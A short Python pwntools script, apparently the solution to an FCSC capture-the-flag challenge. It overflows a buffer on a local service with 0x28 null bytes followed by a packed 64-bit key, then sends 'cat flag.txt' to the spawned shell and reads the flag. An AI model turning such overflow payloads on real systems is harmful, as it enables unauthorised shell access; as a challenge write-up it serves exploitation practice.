from pwn import remote, log, p64, time

with remote("localhost", 4000, fam="ipv4") as p:
    key = 0x1122334455667788
    payload = b"\x00" * 0x28 + p64(key)
    log.info(f"Sending payload {payload} | len: {hex(len(payload))}")
    p.sendline(payload)
    # wait for system to spawn a shell
    time.sleep(0.1)
    p.sendline(b"cat flag.txt")
    log.info(p.recvregex(b"FCSC\{[0-9a-fA-F]{64}\}"))